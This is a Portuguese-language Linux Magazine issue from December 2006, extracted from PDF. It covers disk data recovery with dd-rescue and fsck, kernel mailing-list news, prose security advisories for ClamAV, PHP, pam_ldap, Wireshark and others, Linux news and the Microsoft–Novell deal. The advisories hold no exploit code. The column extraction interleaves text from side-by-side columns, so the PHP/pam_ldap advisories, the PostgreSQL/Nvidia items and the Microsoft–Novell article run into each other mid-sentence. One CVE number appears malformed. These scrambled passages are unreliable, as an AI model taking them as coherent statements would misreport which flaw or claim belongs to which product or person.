rede, e estou convencido de que será útil àqueles que precisarem monitorar redes pequenas de alta segurança, como as LANs sem fio com, no máximo, poucas dezenas de máquinas. Em um ambiente de maiores dimensões, o programa necessitaria de muita atenção manual, isso é, se funcionasse – pois tanto a segmentação quanto a construção de VLANs provavelmente enganariam o Arpalert. ■
Mais Informações [1] Arpalert: http://www.arpalert.org
O autor Charly Kühnast é administrador de sistemas Unix no datacenter Moers, perto do famoso rio Reno, na Alemanha. Lá ele cuida, principalmente, dos firewalls.
http://supertuxbr.blogspot.com 12
http://www.linuxmagazine.com.br
Transforme o poder do MultiCore em aplicativos de alto-desempenho. Tenha seus aplicativos preparados para o processamento paralelo e escalável. Faça certo na primeira vez: Intel® Threading Analysis Tools Localiza os problemas de threadings latentes com visualização em tempo real. Compiladores Intel C++ e Fortran Aumenta o desempenho sem mudar o ambiente de desenvolvimento Analisadores de Desempenho Intel VTune™ Identifica de forma bastante rápida gargalos de desempenho nos aplicativos Intel Integrated Performance Primitives Acesse bibliotecas de rotinas multimídia otimizadas para múltiplas plataformas Intel Math Kernel Library Aumenta o desempenho de aplicativos através do uso de rotinas otimizadas como BLAS, FFT, LAPACK, incluindo suporte a MPI
“As ferramentas de threading da Intel tem acelerado nosso ciclo de desenvolvimento imensamente”. Dana Batalli Diretora de Desenvolvimento do RenderMan Pixar
Itautec 0800 121444 www.itautec.com.br/intel Katalogo 0800 7729897 www.katalogo.com.br/intel MStech (11) 5080-3838 www.mstech.com.br/intel Strattus (11) 3531-6550 www.strattus.com.br/intel Tech Digital (11) 5181-1852 www.techdigital.com.br/intel
http://supertuxbr.blogspot.com © 2006 Intel Corporation, Intel, the Intel logo, Pentium, Itanium, Intel Xeon and VTune are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries. *Other names and brands maybe claimed as the property of others.
Pergunte ao Klaus!
COLUNA
Klaus Knopper
Esta coluna é baseada na seção “Ask Klaus!”, publicada na Linux Magazine International.
Ferramentas abertas para discos rígidos Apesar de nosso escritório rodar inteiramente sobre uma rede de thin clients com Código Aberto, estamos enfrentando problemas com uma pilha crescente de discos rígidos inutilizáveis. Eu gostaria de saber se existem ferramentas de código aberto no Linux que consigam recuperar dados e consertar discos estragados.
Se for um sistema baseado em árvores b+, como o ReiserFS e o XFS, alguns dados que faziam parte de arquivos podem vir a ficar espalhados por todo o disco. Resposta: Consertar falhas em discos rígidos com uma solução completamente baseada em software é difícil através de uma interface multiuso fácil de usar, pois a ferramenta sempre requer um certo conhecimento sobre o hardware e a forma como os dados são armazenados no disco. Há algumas ferramentas de modo texto que você pode usar para as diferentes partes da recuperação dos dados. Comece fazendo uma cópia fiel da partição do disco rígido. Esse deve ser um dos primeiros passos, pois, em discos “parcialmente danificados”, cada acesso a setores defeituosos, mesmo que somente para leitura, pode aumentar o estrago. Em geral, deve-se sempre trabalhar com uma cópia dos dados que se deseja recuperar. dd-rescue /dev/hda1 hda1.img
hda1.img agora é uma cópia, bit por bit, da primeira partição de seu disco mestre ligado ao primeiro canal IDE. As ferramentas de reparo de sistemas de arquivos agora já podem trabalhar com essa cópia, em vez de mexerem com o disco danificado. Isso é absolutamente importante, já que estruturas de dados defeituosas eventualmente não podem ser reparadas no disco problemático devido a setores não graváveis. Com o uso da cópia totalmente gravável no lugar do disco original, essas ferramentas conseguirão alterar o sistema de arquivos para um estado montável (pelo menos, é esse o objetivo da maioria das tarefas de recuperação). Se a tabela de partições do disco também estiver danificada e não puder ser reparada pelo testdisk, que é uma excelente ferramenta para análise de geometria de discos rígidos e recuperação de partições, será necessário copiar o disco inteiro, e não apenas a partição a ser recuperada, com o dd-rescue.
Dependendo do sistema de arquivos que costumava se alojar na partição danificada, você pode tentar rodar as ferramentas de recuperação respectivas, como o dosfsck para sistemas de arquivos DOS, FAT12, FAT16 e FAT32, o e2fsck para sistemas Ext2 e Ext3, ou o reiserfsck para ReiserFS. Talvez seja preciso usar as opções --rebuild-tree e --rebuild-sb com a cópia da partição. Cuidado: se a partição não for um dispositivo de blocos, algum tipo de opção “forçada” pode ser necessária para fazer o programa trabalhar com um arquivo. Se a estrutura do sistema de arquivos for reparada com sucesso, já deve ser possível montá-lo como loopback: mkdir -p /media/recuperacao mount -o loop,ro -t tipo hda1.img /media/recuperacao
Isso lhe permite acessar o sistema de arquivos diretamente e criar um arquivo tar: cd /media/rescue tar -zcpPvf /tmp/rescued-hda1.tar.gz ./
Em alguns casos, é impossível recuperar a estrutura do sistema de arquivos. Se for um sistema baseado em árvores b+, como o ReiserFS e o XFS, alguns dados que faziam parte de arquivos podem vir a ficar espalhados por todo o disco, e então será necessário procurar manualmente o início e o fim dos arquivos. É nesse ponto que a recuperação de dados pode se tornar muito dispendiosa, tanto em relação ao tempo quanto ao esforço, já que exige a busca manual do início e do fim das estruturas lógicas dos dados para inserção em arquivos. É importante lembrar também que os dados não ficam sempre em blocos contínuos. Se você tiver sorte, há ferramentas que ajudam na recuperação de tipos específicos de arquivos, como o photorec, que procura imagens e filmes baseados em JPEG espalhados num determinado conjunto de dados brutos. Ao procurar tipos de dados arbitrários, pode ser necessário usar um editor hexadecimal de discos, como o lde e o hexedit, além de procurar assinaturas de arquivos, e usar sua melhor lembrança de qual era o tamanho do arquivo, antes de salvar de volta seus dados. Esse processo pode ser bastante difícil, pois sistemas de arquivos com journal freqüentemente possuem diversas cópias de um único arquivo da partição em vários estados diferentes. É necessário encontrar e salvar todos eles, e só depois verificar qual parece estar correto. Um pouco de Perl pode ajudar bastante a automatizar esse processo com um script. ■
O autor Klaus Knopper é o criador do Knoppix e co-fundador do evento LinuxTag. Atualmente ele trabalha como professor, programador e consultor.
http://supertuxbr.blogspot.com 14
http://www.linuxmagazine.com.br
http://supertuxbr.blogspot.com
Crônicas do kernel
COLUNA
Zack Brown Esta coluna é baseada na seção Zack’s Kernel News, publicada na Linux Magazine International, e sintetiza o imenso tráfego da lista de discussão do kernel.
Git gráfico
Paul Mackerras criou o gitool, uma ferramenta gráfica para fazer commits para o git, o sistema de controle de versões usado para gerenciar o código-fonte do kernel. A ferramenta permite que os usuários criem e enviem mensagens de commit, e também mostra listas de arquivos com seu respectivo status como novo ou modificado, permitindo assim que o leitor escolha os arquivos que deseja visualizar, com base nesse status. Linus Torvalds gostou da ferramenta, porém tem algumas objeções significativas – por exemplo, desaprovou o fato de o gitool não ser simplesmente um novo modo para o gitk, o navegador de repositórios git que já existe. Fora isso, as principais restrições de Linus são apenas em relação à interface do usuário, e não aos recursos de interação com o repositório.
... é importante facilitar ao máximo a participação dos usuários, seja relatando falhas ou juntando-se às discussões. Dependências gráficas
Ray Lehtiniemi escreveu uma pequena ferramenta chamada headergraphs para gerar gráficos das dependências dos cabeçalhos do kernel. As imagens que o programa produz são bastante interessantes, com linhas suaves e fluidas, e com diferentes formas representando as relações distintas entre arquivos. As pessoas parecem estar se divertindo bastante com o programa, e Ray tem sido receptivo a sugestões até agora, migrando o formato do arquivo de saída, de PostScript para PNG, e aumentando a densidade de informações de cada gráfico. Os exemplos de gráfico que Ray criou também revelam a complexidade de algumas dependências dos cabeçalhos do kernel. Para mais informações sobre o headergraphs, assim como exemplos de imagens geradas por ele, veja sua página no kernel.org [1].
Caça ao spam
Durante anos, os administradores da lista de discussão do kernel Linux trabalharam duro para bloquear o spam com regras confeccionadas com grande cuidado, mas agora deci-
diram usar o bogofilter para automatizar esse processo. Um de seus primeiros passos públicos foi começar a treinar o filtro bayesiano com os emails que chegavam, sem de fato bloquear qualquer mensagem. Após algum tempo avaliando o processo, Matti Aarnio e o resto dos administradores consideraram o bogofilter capaz de distinguir satisfatoriamente mensagens legítimas de spam, e então ativaram o recurso de filtragem, tornando a linux-kernel uma lista protegida pelo bogofilter. Após quase um mês, no entanto, alguns usuários relataram que o problema do spam parecia estar pior do que jamais fora, e alguns emails legítimos estavam gerando falsos positivos – embora Matti tenha afirmado que apenas dez emails legítimos estavam sendo marcados como spam a cada semana. Matti avaliou que os algoritmos bayesianos do bogofilter já teriam aprendido tudo o que poderiam, e portanto a quantidade de spam passando pelos filtros tenderia a permanecer constante. Ele também lembrou que converter a lista de um fórum aberto, onde qualquer pessoa podia publicar uma mensagem, para um fórum fechado, onde somente os membros podiam postar, estava se tornando uma solução crescentemente atraente para o problema do spam. Entretanto, Linus Torvalds sempre se opôs a isso, afirmando que é importante facilitar ao máximo a participação dos usuários, seja relatando falhas ou juntando-se às discussões. Mas Linus também entrou nessa última discussão, dizendo que o bogofilter também não era uma boa solução contra spam, já que os filtros bayesianos eram insuficientes para eliminar todo o spam. Em seu lugar, Linus recomendou o SpamAssassin. Mas, como Alan Cox apontou, “todo bom spammer passa suas mensagens pelo SpamAssassin, acrescentando textos aleatórios até conseguirem uma boa pontuação, e só então lançam o email”. Afinal, parece não haver uma boa forma de combate ao spam na lista linux-kernel. Marc Perkel ofereceu os serviços do junkemailfilter.com, e talvez os administradores da lista do kernel devessem cogitar uma tentativa com essa ferramenta. ■
Mais Informações [1] Headergraphs: http://www.kernel.org/pub/linux/ kernel/people/rayl/headergraphs/
O autor A lista de discussão Linux-Kernel é o núcleo das atividades de desenvolvimento do kernel. Zack Brown consegue se perder nesse oceano de mensagens e extrair significado! Sua newsletter Kernel Traffic já está completando 5 anos.
http://supertuxbr.blogspot.com 16
http://www.linuxmagazine.com.br
Gabarito
Hospedagem de Sites e Servidores
INTERNET PARA PROFISSIONAIS DE INTERNET
Monitoramento de Rede
Internet Data Center
Servidores de Alta Disponibilidade
4003-1001 www.plugin.com.br http://supertuxbr.blogspot.com
➧PHP
➧ ClamAV
Diversas vulnerabilidades foram descobertas no antivírus ClamAV, podendo levar à execução de código arbitrário. Damian Put descobriu um estouro de inteiros em versões anteriores do ClamAV, os quais podem permitir que um agressor remoto realize um ataque de negação de serviço (travamento do serviço de varredura) e execute código arbitrário através de um arquivo Portable Executable (PE). (CVE-2006-4182) Outra vulnerabilidade descoberta por Damian permite que um agressor remoto cause uma negação de serviço através de um arquivo HTML compactado (CHM) e especialmente criado para ler uma posição inválida de memória. (CVE-2006-5295) A versão 0.88.5 do ClamAV corrige a falha. ■
SEGURANÇA
PHP é uma linguagem interpretada e orientada à Web. Foram descobertas diversas vulnerabilidades no PHP4, que podem levar à execução de código arbitrário. A função exif_data, do módulo Exif do PHP anterior à versão 4.4.1, permite que agressores remotos causem uma negação de serviço (devido a um laço infinito) através de uma imagem JPEG mal formada. (CVE-2005-3353) A função zend_hash_del_key_or_index, do arquivo zend_hash.c de PHP anterior ao 4.4.3 e 5.x anterior ao 5.1.4, pode fazer a função zend_hash_del apagar o elemento errado, o que impede que uma variável seja zerada mesmo quando a função unset do PHP for chamada. Isso pode levar ao uso do valor da variável para operações importantes relativas à segurança do sistema. Referência no Debian: DSA-1196 Referência no Gentoo: GLSA-200610-10 (CVE-2006-3017) Foram descobertos vários estouros de buffer nas funções str_re- Referência no Mandriva: MDKSA-2006:184 peat e wordwrap, em ext/standard/string.c, nas versões de PHP an- Referência no Suse: Suse-SA:2006:060 teriores a 5.1.5. Quando explorados em sistemas de 64 bits, esses estouros causam efeitos ainda não especificados, e oferecem vetores de ataque. (CVE-2006-4482) Um estouro de buffer nas versões de PHP anteriores a 5.2.0 Steve Rigler descobriu que o módulo PAM para autenpermite que um agressor remoto execute código arbitrário atra- ticação em servidores LDAP (pam_ldap) não retorna um vés de cadeias de caracteres UTF-8 maliciosamente criadas erro quando o servidor LDAP envia como resposta uma como entrada para as funções htmlentities e htmlspecialchars. mensagem de controle do tipo PasswordPolicyResponse. Com isso, a função pam_authenticate retorna um código de ( CVE-2006-54565) ■ Referência no Debian: DSA-1206 sucesso mesmo que a autenticação tenha falhado, o que Referência no Mandriva: MDKSA-2006:196 pode dar a um agressor o acesso a uma conta suspensa. Referência no Red Hat: RHSA-2006:0730 (CVE-2006-5170) ■
➧ pam_ldap
Referência no Debian: DSA-1203
Referência no Ubuntu: USN-375-1
Postura das principais distribuições Linux quanto à segurança Distribuição
Referência de Segurança
Comentários
Conectiva
Info: distro2.conectiva.com.br/ Lista: seguranca-admin@distro.conectiva.com.br e distro2.conectiva.com.br/lista Referência: CLSA-... 1
Possui uma página específica; não há link para ela na página principal. Os alertas são sobre segurança, mas distribuídos através de emails assinados com a chave PGP da empresa para assegurar sua autenticidade. Contém também links para os pacotes atualizados e para fontes de referência sobre o problema sendo corrigido.
Debian
Info: www.debian.org/security Lista: lists.debian.org/debian-security-announce Referência: DSA-… 1
Alertas de segurança recentes são colocados na homepage e distribuídos como arquivos HTML com links para os patches. O anúncio também contém uma referência à lista de discussão.
Gentoo
Info: www.gentoo.org/security/en/glsa Fórum: forums.gentoo.org Lista: www.gentoo.org/main/en/lists.xml Referência: GLSA: … 1
Os alertas de segurança são listados no site de segurança da distribuição, com link na homepage. São distribuídos como páginas HTML e mostram os comandos necessários para baixar versões corrigidas dos softwares afetados.
Mandriva
A Mandriva tem seu próprio site sobre segurança. Entre outras Info: www.mandriva.com/security Lista: www1.mandrdrivalinux.com/en/flists.php3#2security coisas, inclui alertas e referência a listas de discussão. Os alertas são arquivos HTML, mas não há links para os patches. Referência: MDKSA-… 1
Red Hat
Info: www.redhat.com/errata Lista: www.redhat.com/mailing-lists Referência: RHSA-… 1
A Red Hat classifica os alertas de segurança como “Erratas”. Problemas com cada versão do Red Hat Linux são agrupados. Os alertas são distribuídos na forma de páginas HTML com links para os patches.
Slackware
Info: www.slackware.com/security Lista: www.slackware.com/lists (slackware-security) Referência: [slackware-security] … 1
A página principal contém links para os arquivos da lista de discussão sobre segurança. Nenhuma informação adicional sobre segurança no Slackware está disponível.
Suse
Info: www.novell.com/linux/security Lista: www.novell.com/linux/download/updates Referência: suse-security-announce Referência: SUSE-SA … 1
Após mudanças no site, não há mais um link para a página sobre segurança, que contém informações sobre a lista de discussão e os alertas. Patches de segurança para cada versão do Suse são mostrados em vermelho na página de atualizações. Uma curta descrição da vulnerabilidade corrigida pelo patch é fornecida.
1 Todas as distribuições indicam, no assunto da mensagem, que o tema é segurança.
http://supertuxbr.blogspot.com 18
http://www.linuxmagazine.com.br
➧ Mutt
Uma condição de corrida presente na função safe_open do cliente de email Mutt, versões 1.5.12 e anteriores, ocorre na criação de arquivos temporários em um sistema de arquivos NFS, permitindo que usuários locais sobrescrevam arquivos arbitrários devido a limitações do uso da flag O_EXCL nesse mesmo sistema de arquivos. (CVE-2006-5297) A função mutt_adv_mktemp no Mutt, versões 1.5.12 e anteriores, não verifica corretamente se os arquivos temporários foram criados com permissões restritas, o que poderia permitir que usuários locais criassem arquivos com permissões fracas através de uma condição de corrida entre as chamadas às funções mktemp e safe_open. (CVE-2006-5298) ■ Referência no Mandriva: MDKSA-2006:190 Referência no Ubuntu: USN-373-1
➧ ImageMagick e GraphicsMagick Múltiplas falhas de estouro de buffer no GraphicsMagick anteriores à versão 1.1.7 e no ImageMagick anterior à versão 6.0.7 permitem que agressores auxiliados por usuários causem uma negação de serviço e possivelmente executem código arbitrário através de (I) uma imagem DCM incorretamente processada pela função ReadDCMImage em coders/dcm.c, ou (II) uma imagem PALM incorretamente processada pela função ReadPALMImage em coders/ palm.c. ■ Referência no Mandriva: MDKSA-2006:193 Referência no Ubuntu: USN-372-1
➧ PostgreSQL
negação de serviço relacionada ao registro da duração de mensagens de tipo Execute com protocolo V3 para operações de COMMIT e ROLLBACK. (CVE2006-5542) ■ Referência no Mandriva: MDKSA-2006:194 Referência no Ubuntu: USN-369-1, USN369-2
➧ Wireshark
O Wireshark, antes conhecido como Ethereal, é uma ferramenta de escuta (sniffing) de redes muito utilizada em análises de segurança de redes. Foram encontradas diversas vulnerabilidades nos dissectors das versões do Wireshark anteriores à 0.99.4. (CVE2006-5740) Uma vulnerabilidade no dissector HTTP da versão 0.99.3 permite que um agressor remoto cause uma negação de serviço (travamento) através de vetores não especificados. Outra vulnerabilidade não especificada no dissector das versões 0.10.11 a 0.99.3 permite que agressores remotos causem uma negação de serviço (travamento) através de certos vetores que acionam um de-referenciamento nulo. Uma vulnerabilidade não especificada no dissector LDAP da versão 0.99.3 permite que um agressor remoto desencadeie uma negação de serviço (travamento) através de um pacote LDAP especialmente manipulado. ■ Referência no Mandriva: MDKSA-2006:195
➧ Drivers aceleradores Nvidia
Derek Abdine descobriu um estouro PostgreSQL é um dos principais ban- de buffer no driver binário acelerado cos de dados livres. Uma vulnerabi- da Nvidia para o Xorg. O driver não lidade no PostgreSQL permite que verifica corretamente o tamanho dos usuários remotos autenticados causem buffers usados para renderizar caracuma negação de serviço (travamento teres de texto. Ao mostrar cadeias de do daemon) através do uso de certas caracteres muito longas, o servidor funções agregadas em uma operação Xorg poderia fechar. Se um usuário, UPDATE incorretamente processada. tanto local quanto remoto, for levado a (CVE-2006-5540) visualizar uma série de caracteres espeOutra negação de serviço nas versões cialmente criada, seja por meio de uma 7.4.x, 8.0.x e 8.1.x do PostgreSQL permite página web, documento ou qualquer que usuários autenticados travem o dae- outro programa, essa falha pode ser mon através da coerção de um elemento explorada e levar à execução de código desconhecido para um do tipo ANYARRAY. arbitrário com privilégios de root ou ao travamento e fechamento do servidor (CVE-2006-5541) Por último, outra vulnerabilidade gráfico. (CVE-2006-5379) ■ no PostgreSQL 8.1.x permite que um Referência no Gentoo: GLSA-200611-03 usuário autenticado desencadeie uma Referência no Ubuntu: USN-377-1
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
NOTÍCIAS
➧ Lançado o Linux Developer Network A organização sem fins lucrativos Free Standards Group, dedicada a promover e disseminar padrões para o Código Aberto, em parceria com a O’Reilly Media, lançou o Linux Standard Base (LSB) Developer Network, LDN. O objetivo da empreitada é fomentar o desenvolvimento de aplicativos portáveis para Linux, tornando a LDN um repositório centralizado, tanto de documentação quanto de bibliotecas de software, e multiplataforma. Em relação à documentação, Tim O’Reilly informou que fornecerá livre acesso a sua biblioteca Linux aos inscritos na iniciativa. Segundo o anúncio à imprensa, “ao utilizar as ferramentas e informações contidas no site, os desenvolvedores de software podem escrever seus aplicativos de acordo com as especificações da Linux Standard Base, e certificá-lo sob os serviços de teste e certificação do Free Standards Group, o que o habilita a ser aplicado em diversas distribuições Linux.” A LDN tem o apoio de grandes personagens do cenário do Linux mundial, como HP, IBM, MySQL, Novell, Real Networks, Red Hat e outros. ■
A LSB Developer Network oferece documentação e códigos para a construção de aplicativos compatíveis com diversas distribuições.
➧ Debian e o Software não-Livre
O Projeto Debian decidiu, através de processo de votação, não realizar o impeachment de seu atual líder, Anthony Towns. O resultado da votação foi, na realidade, uma surpresa, pois reforçou o apoio a Anthony e ao movimento a favor de incentivos econômicos aos desenvolvedores, conhecida como Dunc Tank. Outro resultado surpreendente coube à não-obrigatoriedade de que os firmwares distribuídos no Debian sejam livres (segundo a definição da seção 2 da definição de Software Livre adotada pelo projeto). Essas decisões no Projeto Debian devem ajudar a acelerar a liberação da nova versão da distribuição, de codinome Etch, beneficiando toda sua comunidade de usuários. Através de um processo de votação, a comunidade Debian optou por não depor seu líder e por apoiar a iniciativa Dunc Tank. ■
➧ Aniversário e nova versão do BrOffice.org O conjunto de aplicativos de escritório de código aberto mais famoso do planeta, o BrOffice.org, teve sua versão mais recente lançada em conjunto com a comemoração de seis anos de sua existência. Com a atualização da versão do BrOffice.org, a Sun liberou também uma atualização (Update 4) para o StarOffice 8, a suíte comercial de programas de escritório baseada no BrOffice.org. As principais novidades da nova versão do pacote de código aberto incluem um novo formato para a criação de plugins (.oxt), que agora podem ser escritos em Java, OooBasic e algumas outras linguagens, de forma gráfica. Além disso, a exportação para o formato PDF, um dos grandes diferenciais do pacote aberto em relação aos concorrentes proprietários, agora pode proteger imediatamente o documento contra alterações. ■
➧ Presente da Adobe
Após o 3º Web 2.0 Summit, em São Francisco, EUA, a Adobe entregou à Mozilla Foundation a maior quantidade de código já recebida pela entidade. A doação compreende a Adobe ActionScript Virtual Machine (AVM), um dos componentes do Flash Player 9. A linguagem ActionScript, desenvolvida pela Macromedia para a criação de animações em Flash, é bastante semelhante ao JavaScript. A última versão da linguagem da Macromedia, ActionScript 2, implementa ECMAScript 3 (ECMA-262 Edição 3), que por sua vez constitui a base do interpretador JavaScript desenvolvido pela Fundação Mozilla. O Flash Player 9 utiliza o novo compilador AVM2, que processa ActionScript 3, uma implementação da versão 4 ainda em desenvolvimento do ECMAScript. A Fundação pretende agora integrar o novo código, sob a designação de Projeto Tamarin, a seu interpretador JavaScript, o SpiderMonkey. A integração deverá ser completada até 2008, segundo as declarações dos representantes da Fundação Mozilla. Só então o mecanismo será incluído no navegador Firefox. ■
http://supertuxbr.blogspot.com 20
http://www.linuxmagazine.com.br
Gerais | NOTÍCIAS
➧ Shuttleworth ajuda KDE
Mark Shuttleworth, presidente da Canonical, logo após anunciar que se tornara o primeiro patrono do projeto KDE.
Mark Shuttleworth, fundador e presidente da Canonical Ltd., empresa que financia o desenvolvimento do Ubuntu Linux, é o primeiro mecenas do projeto KDE. A comunicação foi feita durante o Linuxtag 2006, evento da comunidade do Software Livre alemã que ocorre todos os anos, dessa vez em Wiesbaden, Alemanha. Enquanto o projeto KDE comemorava seus dez anos de existência, reconhecendo e agradecendo o trabalho árduo de toda a comunidade de desenvolvedores e colaboradores, foi anunciado também o programa Supporting Members, que possibilita a contribuição financeira contínua por parte de qualquer interessado em fazê-lo. Mark foi o primeiro a assumir o papel de patrono do projeto, apontando a importância crescente do KDE no Ubuntu, com o Kubuntu. ■
➧ Lançado o GoboLinux 013
Foi lançada neste mês a versão 013 do GoboLinux, que, a cada versão, gera polêmica em torno de sua nova proposta para a organização da árvore de diretórios. O Gobo não utiliza um gerenciador de pacotes, como o RPM; no Gobo, os programas são organizados numa estrutura mais similar à utilizada no Mac OS X, onde cada programa é instalado em uma pasta separada. Essa diferença faz com que o GoboLinux tenha uma aparência “menos Unix”, com diretórios como /Programs/Firefox/2.0, em vez de /usr/ local/share . Isso gera elogios por parte daqueles que consideram a nova árvore mais simples e lógica, e críticas dos usuários Unix tradicionais resistentes a mudanças, embora o sistema seja também compatível com a árvore tradicional. Criado no Brasil, o Gobo hoje é desenvolvido por uma comunidade internacional: seu site está disponível em seis idiomas. Quem se interessar pela idéia de tornar o Linux menos críptico pode baixar o Live CD do Gobo, em www.gobolinux.org, e testar essa distribuição diferente. ■
➧ Smartphone com Linux
A FIC anunciou que lançará ano que vem um smartphone completamente modificável pelo usuário, obviamente rodando sobre Linux. O Neo1973, como o aparelho será chamado, integra um GPS e opera em modo quad-band, o que significa que pode ser utilizado em qualquer lugar do planeta. A FIC utilizou sua própria plataforma aberta de desenvolvimento, o OpenMoKo, e financiou os desenvolvedores que participaram do projeto. O preço do aparelho, segundo o fabricante, será de US$ 350,00. ■
O smartphone Neo1973 será modificável pelo usuário e rodará Linux.
Notas Install Fest mundial Mandriva A Mandriva, fabricante da distribuição homônima Mandriva Linux, realizou mais uma vez um Install Fest mundial. Durante o evento, que durou um dia inteiro e contou com 45 entidades de 34 cidades, foi instalado o Mandriva Linux 2007 nos computadores de todos os interessados que compareceram. Para isso, o único requisito era que fossem levados ao local de instalação o gabinete e as configurações de teclado e monitor do computador. Os participantes receberam também o direito a suporte remoto via chat diretamente com os desenvolvedores da distribuição. Computador mais barato para todos O Programa Computador Para Todos, do Governo Federal, está revendo a configuração das máquinas que aderem ao programa. Nos próximos meses, provavelmente veremos a extinção da unidade de disquetes, ou ao menos de sua obrigatoriedade, além da atualização do hardware das máquinas, com 256 MB de memória tornando-se o mínimo necessário. O objetivo é que essas alterações acompanhem tanto os avanços no campo de TI quanto as reduções de preços que estes trazem. Suse Linux pré-instalado Quatro fabricantes de computadores desktop e laptops assinaram um acordo com a Novell para a venda de máquinas com o Suse Linux Enterprise Desktop 10 pré-instalado. Esse acordo foi precedido por outro da fabricante do sistema operacional com a Lenovo, em agosto, para a comercialização de dois modelos do Thinkpad com Linux pré-instalado. Latinoware 2006 em Foz A cidade de Foz do Iguaçu, no Paraná, sediou a Conferência Latino-Americana de Software Livre 2006, nos dias 16 e 17 de novembro. Com promoção da Itaipu Binacional e da Celepar (Companhia de Informática do Paraná), a terceira edição da conferência contou com palestras, oficinas e sessões técnicas. Entre as personalidades presentes, havia representantes da Gnome Foundation, Celepar, ITI (Instituto Nacional de Tecnologia da Informação) e Dataprev. Plugin para ODF no Word Foi liberada pela Microsoft a primeira versão do plugin para importação de documentos no formato Open Document. O código do plugin, embora tenha sido financiado pela gigante de Redmond, é aberto. Segundo uma análise do site Groklaw, a interoperabilidade fornecida pelo software ainda é ruim, com o BrOffice.org sendo significativamente mais competente na exportação para formatos do MS Office. No entanto, a análise lembra que o plugin ainda se encontra em fase de desenvolvimento. Ext4 no kernel 2.6.19 Após a aprovação da entrada do sistema de arquivos distribuído GFS2 no kernel 2.6.19, Linus Torvalds aceitou agora a inclusão do sistema Ext4 na mesma versão do kernel. O Ext4 consiste de avanços em relação ao sistema Ext3, padrão de diversas distribuições Linux, e seu desenvolvimento já está ocorrendo em ritmo aceleradíssimo. E isso tudo acontece logo após a liberação da versão 2.6.18, o que geralmente significa que não serão mais adicionados novos recursos à versão seguinte (2.6.19, no caso), apenas correções de falhas. Com essas duas novidades no campo dos sistemas de arquivos, é provável que a próxima versão do kernel demore o período já comum de quatro a seis semanas. O Ext4 permitirá o uso de sistemas de arquivos de até 1024 Petabytes, ou 1 Exabyte, em sistemas de 64 bits. Em comparação, o Ext3 suporta apenas volumes de até oito Terabytes, pois é limitado pela arquitetura de 32 bits.
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
21
CORPORATE | Notícias
CORPORATE
➧ Microsoft e Novell selam acordo Contrariando todas as declarações anteriores, em que afirmava para toda a comunidade. Logo em seguida, deixou bem clanão temer o Software Livre, ou que softwares de código aberto ro que está atenta à recente (e crescente, após a chegada da são inseguros, a Microsoft fechou um acordo com a Novell, concorrente Oracle) competição, oferecendo a seus clientes fabricante do Suse Linux, uma das mais importantes distri- também a imunidade a processos judiciais por violações de buições Linux no mercado corporativo. O acordo se estabele- propriedade intelectual. ceu em torno da interoperabilidade dos sistemas de ambas as Naturalmente, dezenas de analistas escreveram suas apreempresas, o Windows® e o Suse Linux Enterprise. Segundo ciações sobre o acordo, colocando-se em três grupos distintos: a página do site da Novell que trata do assunto, na realidade o daqueles que crêem que o Linux está ameaçado, outro, o dos foram fechados diversos acordos de colaboração, tanto técnica que acreditam que nada de significativo aconteceu (ainda), quanto relativa aos negócios. e também o dos que vêem o acenar de uma bandeira branca Com esse acordo, a Microsoft recomendará oficialmente por parte da Microsoft. Diversos personagens da comunidade mundial do Software o Suse Linux Enterprise a seus clientes que desejarem migrar do Windows para o sistema operacional aberto. Além disso, a Livre postaram também suas opiniões em blogs e fóruns, sendo empresa de Redmond também distribuirá cupons de suporte que a maioria mostrou certa dose de receio quanto ao futuro. e manutenção do SLES (Suse Linux Enterprise Server), au- Por exemplo, Warren Togami, do Projeto Fedora, afirmou que sua distribuição jamais se desfará da ideologia do Software Limentando assim o alcance de mercado da Novell. Um aspecto adicional do vre, usando o termo “traição” acordo cobre os processos por para o acordo da Novell com patentes. Caso a Microsoft a Microsoft. Pamela Jones, eventualmente venha a promantenedora do site Groklaw, cessar usuários e fabricantes também se espantou com o de Software Livre por uso acordo, e mencionou a seindevido de suas patentes, melhança entre a menção à os usuários dos sistemas opeviolação de patentes por parte racionais da Novell estarão da Microsoft e o caso SCO, automaticamente protegidos recentemente finalizado em pelo acordo firmado entre as favor do Software Livre. duas empresas. O advogado da Free SoftEm relação à interoperaware Foundation, Eben Mobilidade, o acordo estabeleglen, foi consultado pela Novell para avaliar se o conteúdo ce a criação de uma equipe conjunta entre as empresas, dos acordos configura uma dedicada à pesquisa e desenviolação da licença GPL, volvimento de soluções de pouco depois de o próprio O CEO da Microsoft, Steve Ballmer, e o presidente e CEO da Novell, Ron software com capacidade Hovsepian, durante o anúncio do acordo. Moglen ter sugerido que a de interagir propriamente mesma muito provavelmencom ambos os sistemas. A te estaria sendo violada, e página da Novell afirma que os três pontos que receberão acrescentado ainda que não acredita que a empresa de Bill maior ênfase quanto a esse aspecto serão a virtualização, os Gates deixará de processar os desenvolvedores e usuários de serviços web para gerenciamento de servidores físicos e virtu- Software Livre caso não receba destes um pagamento pelo ais (incluindo a troca de informações entre Active Directory uso de sua propriedade intelectual. O site Linux.com consultou ainda Linus Torvalds, que e eDirectory), e a compatibilidade entre documentos Open XML (usados pelo MS Office) e OpenDocument (presentes afirmou não saber “nada de nada”, acrescentando que não no BrOffice.org). Haverá investimentos também em softwa- teria problemas em aceitar eventuais patches de funcionários res focados na interoperabilidade, como o próprio BrOffice. da Microsoft para o kernel Linux. org, Mono e Samba. O último episódio até o fechamento desta edição, no enGrandes empresas importantes no cenário do Software tanto, foi negativo para a Novell. Steve Ballmer, CEO da MiLivre revelaram seu forte apoio ao acordo, com declarações crosoft, decepcionou os executivos da Novell ao afirmar que altamente favoráveis por parte dos mais altos executivos da faria acordos semelhantes com qualquer outro fabricante de Intel, AMD, HP, IBM e Dell, entre diversos outros. distribuições Linux, incluindo, por exemplo, a Red Hat. Ao A Red Hat se manifestou sobre o fato, primeiramente afir- mesmo tempo, feriu, aparentemente, o próprio contrato com mando que a interação da gigante do software proprietário a empresa de Utah, que utilizava o termo “exclusividade” para com empresas de Software Livre é primordialmente positiva descrever o acordo. ■
http://supertuxbr.blogspot.com 22
http://www.linuxmagazine.com.br
Notícias | CORPORATE
➧ Oracle lança distribuição Linux
